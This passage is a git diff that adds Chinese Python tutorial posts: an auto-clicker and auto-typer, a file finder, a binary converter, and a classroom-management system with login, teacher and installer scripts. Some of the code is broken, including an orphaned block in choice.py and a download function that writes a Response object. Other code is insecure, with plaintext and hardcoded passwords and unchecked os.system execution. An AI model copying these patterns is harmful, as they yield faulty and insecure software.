print('请注意:您需要在8秒内将鼠标移动到您需要连点的地方,然后不要动,等待开始快速连点。') + sleep(8) + print('开始点击!') + x,y = pag.position() + d = 'left' + if c: + d = 'right' + e = time() + for i in range(0,b): + pag.click(x,y,button = d) + f = time() - e + input('完成。用时%f秒。' % f) + +def key(): + print('请在以下支持的按键中挑选您需要的键。') + for i in pag.KEYBOARD_KEYS: + print(r'%s' % i,end=' ') + b = input('\n请输入您需要快速输入的字符:') + if b in pag.KEYBOARD_KEYS: + c = input('请输入您需要多少次输入:') + c = int(c) + print('请注意,您需要在8秒内切换到需要输入的窗口。') + sleep(8) + print('开始工作!') + e = time() + for i in range(0,c): + pag.press(b) + f = time() - e + input('完成。用时%f秒。' % f) + else: + input('您输入的字符不属于支持字符,请修改。') + +try: + a = input('输入您需要的服务(数字):\n1:快速连点\n2:快速输入\n>>> ') + a = int(a) + if a == 1: + mouse() + elif a == 2: + key() + else: + input('不好意思,没有找到您需要的服务。\n') +except Exception as e: + print('错误;\n',e) +``` +测试程序: + +```python +import pygame +from pygame.locals import * +from pygame.color import THECOLORS + +pygame.init() +canvas = pygame.display.set_mode((600,600)) +canvas.fill((255,255,255)) +pygame.display.set_caption('TEST') + +# 鼠标点击次数 +mouBut = 0 +# 空格键按下次数 +keyDow = 0 + +def handle(): + global mouBut,keyDow + for event in pygame.event.get(): + if event.type == QUIT: + pygame.quit() + exit() + # 当按下鼠标 + if event.type == MOUSEBUTTONDOWN: + x,y = event.pos + # 且在黑色矩形内 + if 200 <= x <= 400 and 200 <= y <= 400: + mouBut += 1 + # 当按下键盘 + if event.type == KEYDOWN: + # 且为空格键 + if event.key == K_SPACE: + keyDow += 1 + +while True: + # 每次重绘背景 + canvas.fill((255,255,255)) + # 鼠标测试,绘制矩形 + pygame.draw.rect(canvas,(0,0,0),(200,200,200,200),0) + # 绘制文字 + font1 = pygame.font.SysFont('Consolas',30) + font2 = font3 = font4 = font5 = font6 = font1 + canvas.blit(font1.render('MouseButtonDown:%d' % mouBut,True,(0,0,0)),(10,10)) + canvas.blit(font2.render('KeyDown:%d' % keyDow,True,(0,0,0)),(10,50)) + canvas.blit(font3.render('CLICK ME!',True,(255,255,255)),(225,275)) + canvas.blit(font4.render('Click the black rectangle or press',True,(255,0,0)),(10,100)) + canvas.blit(font5.render('the spacebar!',True,(255,0,0)),(10,150)) + canvas.blit(font6.render('By PanDaoxi',True,(0,0,255)),(200,500)) + handle() + pygame.display.update() +``` + +由于发懒,没仔细做主程序GUI。运行测试程序然后再打开主程序,一旦打开程序的时候手残,就会凉凉。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8256eb816451409dbe5839f31d81c9f4.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +在连点模式下, +我给程序设定了8秒的等待时间,这8秒内,你需要**打开测试程序,并把鼠标放在需要点的地方。** + +程序会询问你一些参数,![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3498137681e5492f9d0cbdc9991cfef9.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +直接回答即可。如图,按下回车键后,就开始等待那8秒,然后连点了。在此之前,我们看一下测试程序: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8db4691bdb294b579b53ae8f85561dfb.png) +点击后, +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a05a88155a49446eacef018027afe1ed.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +程序点击很快,一下子点完。我用改进版试一下1000次。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b2c83a5ff73f476899def3108aaadd04.png) + + +再试试快速输入,也是很快,用命令提示符试就行,这个测试程序是针对物理键盘的。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ee10ac45e6de41d18331f77c775184f6.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/188cedb564aa4f91bfc2c55849fc6c66.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +突然一下,多了10个。因为数太小,所以被忽略不计,试试1000.![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/df948b6df625400d9298d7ba82cb0d3a.png) + diff --git "a/Python\345\257\273\346\211\276\346\214\207\345\256\232\346\213\223\345\261\225\345\220\215\347\232\204\346\226\207\344\273\266.md" "b/Python\345\257\273\346\211\276\346\214\207\345\256\232\346\213\223\345\261\225\345\220\215\347\232\204\346\226\207\344\273\266.md" new file mode 100644 index 0000000..e983b3b --- /dev/null +++ "b/Python\345\257\273\346\211\276\346\214\207\345\256\232\346\213\223\345\261\225\345\220\215\347\232\204\346\226\207\344\273\266.md" @@ -0,0 +1,31 @@ +我们来写一个寻找文件的Python程序。 +首先,让我们来创造一些文件: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201024184318655.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201024184356501.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +如图,我们创造了很多文件,且它们都是空的。下面我们打开`python.py`,输入以下代码: + +```python +#导入包 +from os import walk +from os.path import splitext,join + +#创建储存文件的列表 +file_list = [] + +#遍历文件夹里的文件 +for filepath,dirnames,filenames in walk(r'files'): + #二次循环 + for filename in filenames: + #将拓展名是 .cpp 的文件添加至列表 + if splitext(filename)[1] == '.cpp': + file_list.append(join(filepath,filename)) + +#遍历输出列表 +print('下面是文件列表:') +for i in file_list: + print(i) + +#输出一共有多少个文件 +print('\n','一共有',len(file_list),'个文件!') +``` +完成! diff --git "a/Python\345\260\206\345\215\201\350\277\233\345\210\266\345\222\214\344\272\214\350\277\233\345\210\266\344\272\222\346\215\242.md" "b/Python\345\260\206\345\215\201\350\277\233\345\210\266\345\222\214\344\272\214\350\277\233\345\210\266\344\272\222\346\215\242.md" new file mode 100644 index 0000000..041325d --- /dev/null +++ "b/Python\345\260\206\345\215\201\350\277\233\345\210\266\345\222\214\344\272\214\350\277\233\345\210\266\344\272\222\346\215\242.md" @@ -0,0 +1,8 @@ +说到将十进制转成二进制,我以前写过了,不再多说,直接看二进制转换为十进制。 +其实代码很简单,我们只需要指定是哪种进制,然后使用`int()`即可,请看代码: + +```python +bin_number = '10' #二进制里面的2 +print(int(bin_number,2)) +``` +这样就可以获取到了,你学会了吗? diff --git "a/Python\345\274\200\345\217\221\344\270\200\344\270\252\346\234\200\347\256\200\345\215\225\347\232\204\350\257\276\347\250\213\347\263\273\347\273\237.md" "b/Python\345\274\200\345\217\221\344\270\200\344\270\252\346\234\200\347\256\200\345\215\225\347\232\204\350\257\276\347\250\213\347\263\273\347\273\237.md" new file mode 100644 index 0000000..970a5f9 --- /dev/null +++ "b/Python\345\274\200\345\217\221\344\270\200\344\270\252\346\234\200\347\256\200\345\215\225\347\232\204\350\257\276\347\250\213\347\263\273\347\273\237.md" @@ -0,0 +1,894 @@ +2022年1月16日修改: +请注意,最近有网友反应称该程序无法运行,本程序最低要求需Python3.6,请安装`easygui`、`pillow`,在windows环境下运行。 + +
+ +我们来制作一个大项目:课堂系统。 +下面的“腾飞课堂”可以改成您想要的名字,`text.txt`里面的内容可以随便改。 + +> 本次我们需要使用到 requests 模块、 easygui 模块和 PIL 库。 +> pyinstaller命令。 + + +**首先我们要创建很多Python文件:** +![目录树](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200813085500535.png#pic_center) + +**下面是系统的具体制作方法:** +1、创建如上的所有文件和文件夹(都是空的)。 +2、打开开发工具,导入该工程文件夹。 +3、将下面图片复制到同一文件夹,重命名为上面的,黑板的图片为`blackboard.png`,背景图片命名为`background.jpg`。 +![黑板](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200813090444523.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +![背景图片](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200813090444393.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +4、打开`login.py`,输入以下代码: + +```python +#导入包 +from easygui import msgbox,multpasswordbox,buttonbox,passwordbox +from os import system,name + +#声明所需变量 +title = '腾飞线上课平台' +#账号密码 +users = [ + ['学生账号01','01'], + ['学生账号02','02'], + ['学生账号03','03'], + ] +#调整活页码 +system('chcp 65001 >nul') +#登录所需函数 +def login(): + #选择框 + choice = buttonbox('欢迎使用线上课平台!\n如果您需要进行操作,请先登录或注册!',title,('登录','注册')) + #判断按钮是否为“登录” + if (choice == '登录'): + #输入用户名和密码 + loginUser = [] + loginUser = multpasswordbox('请输入用户名和密码:',title,('用户名:','密码:')) + #判断用户名和密码是否相符 + for user in range(len(users)): + if (loginUser[0] == users[user][0]) and (loginUser[1] == users[user][1]): + msgbox('登录成功!按下下面的按钮即可跳转到主页面!',title,'确定') + #打开主页面,退出循环 + system('cd "files" & call "choice.py"') + break + else: + #反馈 + msgbox('用户名或密码错误!',title,'确定') + + elif (choice == '注册'): + #如果点击“注册”,就弹出文字框让用户填写注册信息 + register = [] + register = multpasswordbox('请填写下面的注册信息:',title + ' - 注册',('用户名:','密码')) + #确认密码 + ispassword = passwordbox('请确认密码:',title + ' - 注册') + #如果密码一样 + if (register[1] == ispassword): + #注册成功 + msgbox('注册成功!',title,'确定') + else: + #反馈 + msgbox('两次输入密码不同!',title,'确定') + #生成储存用户名和密码的文件 + with open('register.txt','w+') as fileWrite: + fileWrite.write('{0}\n{1}\n\n'.format(register[0],register[1])) + #添加元素 + users.append([register[0],register[1]]) + #打开主页面 + system('cd "files" & call "choice.py"') + + else: + #如果点“×”就退出 + exit() + +#如果被打开且系统为Windows +if (__name__ == '__main__' and name == 'nt'): + #运行 + login() +``` +5、打开文件夹`files`,打开`choice.py`文件,输入代码如下: + +```python +#导入包 +from tkinter import Tk,Label,Button +from tkinter.filedialog import askopenfilename +from tkinter.messagebox import showinfo,showerror,askyesno +from os import system +from os.path import splitext +from PIL import Image,ImageTk +from sys import exit +#声明标题,调整活页码 +title = '线上课平台' +system('chcp 65001 >nul') +# tkinter框 +window = Tk() +window.title(title) +window.resizable(0,0) + + if yn == True: + system('python "create.py"') + window.destroy() + else: + pass +def homework(): + system('python homework.py') + window.destroy() + +def exercise(): + system('python exam.py') + window.destroy() + +def gotoclass(): + system('python class.py') + window.destroy() + +img = ImageTk.PhotoImage(file = 'background.jpg') +text = '您好,尊敬的客户!\n请选择服务:' +#设置属性 +Label(window,image = img,text = text,foreground = 'blue',font = ('华文新魏',35),compound = 'center').pack() +Button(window,bd = 0,text = '做作业',command = homework,font = ('楷体',20)).place(x = 192,y = 405) +Button(window,bd = 0,text = '去练习',command = exercise,font = ('楷体',20)).place(x = 392,y = 405) +Button(window,bd = 0,text = '去上课',command = gotoclass,font = ('楷体',20)).place(x = 592,y = 405) + +window.mainloop() +``` +6、打开`homework.py`,输入代码如下: + +```python +from os import system,walk +from os.path import splitext,join + +dir = [] + +def files(file_dir): + for root, dirs, files in walk(file_dir): + for file in files: + if splitext(file)[1] == '.py': + dir.append(join(root, file)) +files('homework') +system('chcp 65001 >nul') +if len(dir) != 0: + print('请输入您选择的作业名称:\n') + for topic in dir: + print('{0}'.format(topic)) + name = input('\n>>>') + for topic in dir: + if name == topic: + print('找到了作业:',topic,'\n您要打开它吗(输入“YES”打开,输入“NO”不打开)?') + yn = input('\n>>>').upper() + if yn == 'YES': + print('已经打开!\n') + system('python "{0}"'.format(topic)) + system('chcp 65001') + break + else: + system('python "choice.py"') + print('未打开该文件!') + break + else: + print('未找到您输入的作业名称!') +else: + print('没有未完成的作业!\n去休息一下吧!') + system('pause') +``` +7、`exam.py`输入代码: + +```python +from os import system,walk +from os.path import splitext,join + +dir = [] + +def files(file_dir): + for root, dirs, files in walk(file_dir): + for file in files: + if splitext(file)[1] == '.py': + dir.append(join(root, file)) +files('topic') +system('chcp 65001 >nul') +if len(dir) != 0: + print('请输入您选择的考试文件名称:\n') + for exam in dir: + print('{0}'.format(exam)) + name = input('\n>>>') + for topic in dir: + if name == topic: + print('找到了考试文件:',topic,'\n您要打开它吗(输入“YES”打开,输入“NO”不打开)?') + yn = input('\n>>>').upper() + if yn == 'YES': + print('已经打开!\n') + system('python "{0}"'.format(topic)) + system('pause') + break + else: + system('python "choice.py"') + print('未打开该文件!') + break + else: + print('未找到您输入的考试名称!') +else: + print('没有未完成的考试!\n去休息一下吧!') + system('pause') +``` +8、`class.py`内容: + +```python +from os import system,walk +from os.path import splitext,join + +dir = [] + +def files(file_dir): + for root, dirs, files in walk(file_dir): + for file in files: + if splitext(file)[1] == '.py': + dir.append(join(root, file)) +files('class') +system('chcp 65001 >nul') +if len(dir) != 0: + print('请输入您选择的课程文件名称:\n') + for classes in dir: + print('{0}'.format(classes)) + name = input('\n>>>') + for classes in dir: + if name == classes: + print('找到了课程文件:',classes,'\n您要打开它吗(输入“YES”打开,输入“NO”不打开)?') + yn = input('\n>>>').upper() + if yn == 'YES': + print('已经打开!\n') + system('python "{0}"'.format(classes)) + system('pause') + break + else: + system('python "choice.py"') + print('未打开该文件!') + break + else: + print('未找到您输入的课程名称!') +else: + print('没有未完成的课程!\n去休息一下吧!') + system('pause') +``` +9、`welcome.py`: + +```python +from easygui import textbox + +with open('text.txt','r',encoding = 'utf-8') as file: + text = file.read() + +textbox('下面是一封给您的信。','腾飞课堂',text = text,codebox = False) +``` +10、文本文档 + +``` +尊敬的用户,您好! +欢迎使用 腾飞课堂1.0 软件! + +您可以使用此软件进行课堂管理,作业、考试等设备一应俱全。 +您可以查看技术文档以学会更多操作! + +联系方式: +邮箱: 3362157322@qq.com +QQ: 3362157322 +官方网页(在这里查看官方技术文档): http://pandaoxi.360doc.com/ + +更多信息: +开发语言:Python +原有账户(格式: [用户名,密码]):[学生账号01,01],[学生账号02,02],[学生账号03,03] +需求:Windows环境、Python环境、网络 +开发者:潘道熹 +如果您有困难可以随时联系作者! + + + + 腾飞课堂 开发者 + 2020/8/13 +``` +实现效果: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200813103309765.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200813103353997.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200813103408161.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200813103430134.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +其他效果大家自己尝试。 + +**教师版** +新建一个空白Python文档,输入以下内容: + +```python +from easygui import buttonbox,msgbox,textbox,enterbox,multenterbox +from os import system,name +from sys import path +from requests import get + +class_url = 'http://pub.idqqimg.com/pc/misc/groupgift/fudao/pc/EduLiteInstall_1.0.3.34_sign.exe' +download_name = 'Tencent Classroom Software 1.0.3.34.exe' +currentPath = path[0] +title = '线上课平台 - 插件' +button = '确定' + +def download(): + getFile = get(class_url) + with open(download_name,'wb') as download: + download.write(getFile) + +def new_exam(): + data = [] + data = multenterbox('请设置考试的信息:',title,('考试科目:','考试主题:','主考老师:','考试介绍:')) + text = textbox('请输入考试的代码:',title,codebox = True,text = 'from easygui import *') + code = """# *-* coding : utf-8 *-* +dict = { + 'subject' : '%s', + 'theme' : '%s', + 'teacher' : '%s', + 'introduce' : '%s', + 'application' : '%s' + } +%s +""" % (data[0],data[1],data[2],data[3],'线上课平台-2020年8月新版',text) + with open(data[1] + '.py','w+',encoding = 'utf-8') as file: + file.write(code) + msgbox('创建成功,文件在当前目录下: {0} 。\n请将此文件移动到:files\\topic文件夹下即可被学生发现!'.format(currentPath),title,button) + +def contact(): + askyn = buttonbox('联系我们:\n开发者:潘道熹\nQQ:3362157322\n网址:https://me.csdn.net/PanDaoxi2020\n邮箱:3362157322@qq.com\n当前系统版本:1.0',title,('联系作者邮箱','打开官方网页')) + if askyn == '联系作者邮箱': + system('start iexplore -incognito "http://mail.qq.com/cgi-bin/qm_share?t=qm_mailme&email=c0BARUFCRkRAQUEzAgJdEBwe"') + elif askyn == '打开官方网页': + system('start iexplore "http://pandaoxi.360doc.com/"') + system('start iexplore "https://me.csdn.net/PanDaoxi2020"') + +def new_homework(): + letter = textbox('请在下方写入您的作业Python代码:',title,text = 'from easygui import *\n',codebox = True) + msgbox('# 这是您写入的Python代码\n\n{0}'.format(letter),title,button) + homework_name = enterbox('请您为该作业命名:',title) + if homework_name != None: + with open('{0}.py'.format(homework_name),'w+',encoding = 'utf-8') as file: + file.write(letter) + msgbox('创建成功,文件在当前目录下: {0} 。\n请将此文件移动到:files\\homework文件夹下即可被学生发现!'.format(currentPath),title,button) + elif len(homework_name) >= 20: + msgbox('名字超长!最多20个字符!',title,button) + elif len(homework_name) <= 2: + msgbox('名字超短!最少2个字符!',title,button) + +def new_class(): + class_data = [] + class_data = multenterbox('请输入您要创建的课程信息:',title,('您要上课的主题:','课程URL:')) + yn = buttonbox('您是否需要下载:腾讯课堂(Tencent Classroom Software)?',title,('下载','取消')) + + if yn == '下载': + download() + elif yn == '取消': + pass + else: + msgbox('请选择一个按钮!',title,'确定') + + code = """# *-* coding : utf-8 *-* +from os import system,name +from easygui import buttonbox,msgbox + +title = '去上课' +select = buttonbox('您的课程信息是否是: {1}。 ?',title,('是','否')) +list = [__name__,name] + +def yes(): + system('start "C:\\Program Files\\Internet Explorer\\iexplore.exe" "{0}"') + +def main(): + if (select == '是'): + yes() + elif (select == '否'): + exit() + else: + msgbox('请选择一个按钮!',title,'确定') + +if list[0] == "__main__" and list[1] == "nt": + main()""".format(class_data[1],class_data[0]) + + with open('{0}.py'.format(class_data[0]),'w+',encoding = 'utf-8') as file: + file.write(code) + msgbox('创建成功,文件在当前目录下: {0} 。\n请将此文件移动到:files\\class文件夹下即可被学生发现!'.format(currentPath),title,button) + +def main(): + choice = buttonbox('您好,欢迎使用线上课平台!\n此程序适用于教师版。\n您可以通过此插件选择一些关于学生版的服务!',title,('新建作业','新建课程','新建练习','联系作者')) + + if choice == '新建作业': + new_homework() + elif choice == '新建课程': + new_class() + elif choice == '新建练习': + new_exam() + elif choice == '联系作者': + contact() + else: + msgbox('请选择其中的一个按钮!',title,button) + +if __name__ == '__main__' and name == 'nt': + main() + +``` + +**此系统的安装包** +我们来个这个系统写一个安装包,新建一个Python文档命名为`setup.py`,输入内容如下: + +```python +# ShiJiaZhuang TengFei Online Class Platform 2020.8 New Edition Setup Tool +# The Code of The Installer by Pan Daoxi +# Product Version : 1.0 , Time : 2020/8/20 +from tkinter import Tk +from tkinter.messagebox import askyesno,showinfo,showerror +from tkinter.filedialog import askdirectory +from os import system,makedirs,mkdir,name +from requests import get +from sys import path + +data = { + 'path':path[0], + 'system' : name, + 'brand' : 'SJZ TengFei Online Class Platform', + 'trademark' : 'https://img-blog.csdnimg.cn/20200808104402354.jpg' + } +coding = { + 'class' : r'''from os import system,walk +from os.path import splitext,join + +dir = [] + +def files(file_dir): + for root, dirs, files in walk(file_dir): + for file in files: + if splitext(file)[1] == '.py': + dir.append(join(root, file)) +files('class') +system('chcp 65001 >nul') +if len(dir) != 0: + print('请输入您选择的课程文件名称:\n') + for classes in dir: + print('{0}'.format(classes)) + name = input('\n>>>') + for classes in dir: + if name == classes: + print('找到了课程文件:',classes,'\n您要打开它吗(输入“YES”打开,输入“NO”不打开)?') + yn = input('\n>>>').upper() + if yn == 'YES': + print('已经打开!\n') + system('python "{0}"'.format(classes)) + system('pause') + break + else: + system('python "choice.py"') + print('未打开该文件!') + break + else: + print('未找到您输入的课程名称!') +else: + print('没有未完成的课程!\n去休息一下吧!') + system('pause')''', + 'exam' : r'''from os import system,walk +from os.path import splitext,join + +dir = [] + +def files(file_dir): + for root, dirs, files in walk(file_dir): + for file in files: + if splitext(file)[1] == '.py': + dir.append(join(root, file)) +files('topic') +system('chcp 65001 >nul') +if len(dir) != 0: + print('请输入您选择的考试文件名称:\n') + for exam in dir: + print('{0}'.format(exam)) + name = input('\n>>>') + for topic in dir: + if name == topic: + print('找到了考试文件:',topic,'\n您要打开它吗(输入“YES”打开,输入“NO”不打开)?') + yn = input('\n>>>').upper() + if yn == 'YES': + print('已经打开!\n') + system('python "{0}"'.format(topic)) + system('pause') + break + else: + system('python "choice.py"') + print('未打开该文件!') + break + else: + print('未找到您输入的考试名称!') +else: + print('没有未完成的考试!\n去休息一下吧!') + system('pause')''', + 'homework' : r'''from os import system,walk +from os.path import splitext,join + +dir = [] + +def files(file_dir): + for root, dirs, files in walk(file_dir): + for file in files: + if splitext(file)[1] == '.py': + dir.append(join(root, file)) +files('homework') +system('chcp 65001 >nul') +if len(dir) != 0: + print('请输入您选择的作业名称:\n') + for topic in dir: + print('{0}'.format(topic)) + name = input('\n>>>') + for topic in dir: + if name == topic: + print('找到了作业:',topic,'\n您要打开它吗(输入“YES”打开,输入“NO”不打开)?') + yn = input('\n>>>').upper() + if yn == 'YES': + print('已经打开!\n') + system('python "{0}"'.format(topic)) + system('chcp 65001') + break + else: + system('python "choice.py"') + print('未打开该文件!') + break + else: + print('未找到您输入的作业名称!') +else: + print('没有未完成的作业!\n去休息一下吧!') + system('pause')''', + 'background' : 'https://img-blog.csdnimg.cn/20200811100802744.jpg', + 'blackboard' : 'https://img-blog.csdnimg.cn/20200811110557793.png', + 'text' : '''尊敬的用户,您好! +欢迎使用 腾飞课堂1.0 软件! + +您可以使用此软件进行课堂管理,作业、考试等设备一应俱全。 +您可以查看技术文档以学会更多操作! + +联系方式: +邮箱: 3362157322@qq.com +QQ: 3362157322 +官方网页(在这里查看官方技术文档): http://pandaoxi.360doc.com/ + +更多信息: +开发语言:Python +原有账户(格式: [用户名,密码]):[学生账号01,01],[学生账号02,02],[学生账号03,03] +需求:Windows环境、Python环境、网络 +开发者:潘道熹 +如果您有困难可以随时联系作者! + + + + 腾飞课堂 开发者 + 2020/8/20''', + 'welcome' : r'''from easygui import textbox + +with open('text.txt','r',encoding = 'utf-8') as file: + text = file.read() + +textbox('下面是一封给您的信。','腾飞课堂',text = text,codebox = False)''', + 'choice' : r'''from tkinter import Tk,Label,Button +from tkinter.filedialog import askopenfilename +from tkinter.messagebox import showinfo,showerror,askyesno +from os import system +from os.path import splitext +from PIL import Image,ImageTk +from sys import exit + +title = '线上课平台' +system('chcp 65001 >nul') + +window = Tk() +window.title(title) +window.resizable(0,0) + +def homework(): + system('python homework.py') + window.destroy() + +def exercise(): + system('python exam.py') + window.destroy() + +def gotoclass(): + system('python class.py') + window.destroy() + +img = ImageTk.PhotoImage(file = 'background.jpg') +text = '您好,尊敬的客户!\n请选择服务:' + +Label(window,image = img,text = text,foreground = 'blue',font = ('华文新魏',35),compound = 'center').pack() +Button(window,bd = 0,text = '做作业',command = homework,font = ('楷体',20)).place(x = 192,y = 405) +Button(window,bd = 0,text = '去练习',command = exercise,font = ('楷体',20)).place(x = 392,y = 405) +Button(window,bd = 0,text = '去上课',command = gotoclass,font = ('楷体',20)).place(x = 592,y = 405) + +window.mainloop()''', + 'login' : r'''from easygui import msgbox,multpasswordbox,buttonbox,passwordbox +from os import system,name + +title = '腾飞线上课平台' +users = [ + ['学生账号01','01'], + ['学生账号02','02'], + ['学生账号03','03'], + ] + +system('chcp 65001 >nul') +def login(): + choice = buttonbox('欢迎使用线上课平台!\n如果您需要进行操作,请先登录或注册!',title,('登录','注册')) + + if (choice == '登录'): + loginUser = [] + loginUser = multpasswordbox('请输入用户名和密码:',title,('用户名:','密码:')) + + for user in range(len(users)): + if (loginUser[0] == users[user][0]) and (loginUser[1] == users[user][1]): + msgbox('登录成功!按下下面的按钮即可跳转到主页面!',title,'确定') + system('cd "files" & call "choice.py"') + break + else: + msgbox('用户名或密码错误!',title,'确定') + + elif (choice == '注册'): + register = [] + register = multpasswordbox('请填写下面的注册信息:',title + ' - 注册',('用户名:','密码')) + ispassword = passwordbox('请确认密码:',title + ' - 注册') + if (register[1] == ispassword): + msgbox('注册成功!',title,'确定') + else: + msgbox('两次输入密码不同!',title,'确定') + + with open('register.txt','w+') as fileWrite: + fileWrite.write('{0}\n{1}\n\n'.format(register[0],register[1])) + users.append([register[0],register[1]]) + system('cd "files" & call "choice.py"') + + else: + exit() + +if (__name__ == '__main__' and name == 'nt'): + login()''', + 'ctr_bg' : 'https://img-blog.csdnimg.cn/20200819074310688.jpg', + 'ctr' : r'''from tkinter import Tk,Label +from os import system +from PIL import ImageTk +from tkinter.messagebox import showinfo,showerror +from random import choice + +#请在这里更改学生的名字以点名,格式就像下面的 +list = ['学生1','学生2','学生3'] +student = choice(list) + +def say(student): + with open('say.vbs','w+',encoding = 'ANSI') as file: + file.write('set say = CreateObject("SaPi.SpVoice")\nsay.Speak "请{0}同学回答老师的问题!"'.format(student)) + system('call "say.vbs" & del /q /s /f "say.vbs" >nul') + +say(student) +window = Tk() +window.resizable(0,0) +window.title('点名系统') +bg = ImageTk.PhotoImage(file = 'ctr_bg.jpg') +Label(window,image = bg).pack() +text = Label(window,text = '请 ' + student + ' 同学回答老师的问题',font = ('楷体',20),foreground = 'black') +text.pack() +text.place(x = 200,y = 270) +window.mainloop()''', + 'teacher' : r'''from easygui import buttonbox,msgbox,textbox,enterbox,multenterbox +from os import system,name +from sys import path +from requests import get + +class_url = 'http://pub.idqqimg.com/pc/misc/groupgift/fudao/pc/EduLiteInstall_1.0.3.34_sign.exe' +download_name = 'Tencent Classroom Software 1.0.3.34.exe' +currentPath = path[0] +title = '线上课平台 - 教师版' +button = '确定' + +def download(): + getFile = get(class_url) + with open(download_name,'wb') as download: + download.write(getFile) + +def new_exam(): + data = [] + data = multenterbox('请设置考试的信息:',title,('考试科目:','考试主题:','主考老师:','考试介绍:')) + text = textbox('请输入考试的代码:',title,codebox = True,text = 'from easygui import *\nfrom os import system') + code = """# *-* coding : utf-8 *-* +dict = { + 'subject' : '%s', + 'theme' : '%s', + 'teacher' : '%s', + 'introduce' : '%s', + 'application' : '%s' + } +%s +""" % (data[0],data[1],data[2],data[3],'线上课平台-2020年8月新版',text) + with open(data[1] + '.py','w+',encoding = 'utf-8') as file: + file.write(code) + msgbox('创建成功,文件在当前目录下: {0} 。\n请将此文件移动到:files\\topic文件夹下即可被学生发现!'.format(currentPath),title,button) + +def contact(): + askyn = buttonbox('联系我们:\n开发者:潘道熹\nQQ:3362157322\n网址:https://me.csdn.net/PanDaoxi2020\n邮箱:3362157322@qq.com\n当前系统版本:1.0',title,('联系作者邮箱','打开官方网页')) + if askyn == '联系作者邮箱': + system('start iexplore -incognito "http://mail.qq.com/cgi-bin/qm_share?t=qm_mailme&email=c0BARUFCRkRAQUEzAgJdEBwe"') + elif askyn == '打开官方网页': + system('start iexplore "http://pandaoxi.360doc.com/"') + system('start iexplore "https://me.csdn.net/PanDaoxi2020"') + +def new_homework(): + letter = textbox('请在下方写入您的作业Python代码:',title,text = 'from easygui import *\n',codebox = True) + msgbox('# 这是您写入的Python代码\n\n{0}'.format(letter),title,button) + homework_name = enterbox('请您为该作业命名:',title) + if homework_name != None: + with open('{0}.py'.format(homework_name),'w+',encoding = 'utf-8') as file: + file.write(letter) + msgbox('创建成功,文件在当前目录下: {0} 。\n请将此文件移动到:files\\homework文件夹下即可被学生发现!'.format(currentPath),title,button) + elif len(homework_name) >= 20: + msgbox('名字超长!最多20个字符!',title,button) + elif len(homework_name) <= 2: + msgbox('名字超短!最少2个字符!',title,button) + +def new_class(): + class_data = [] + class_data = 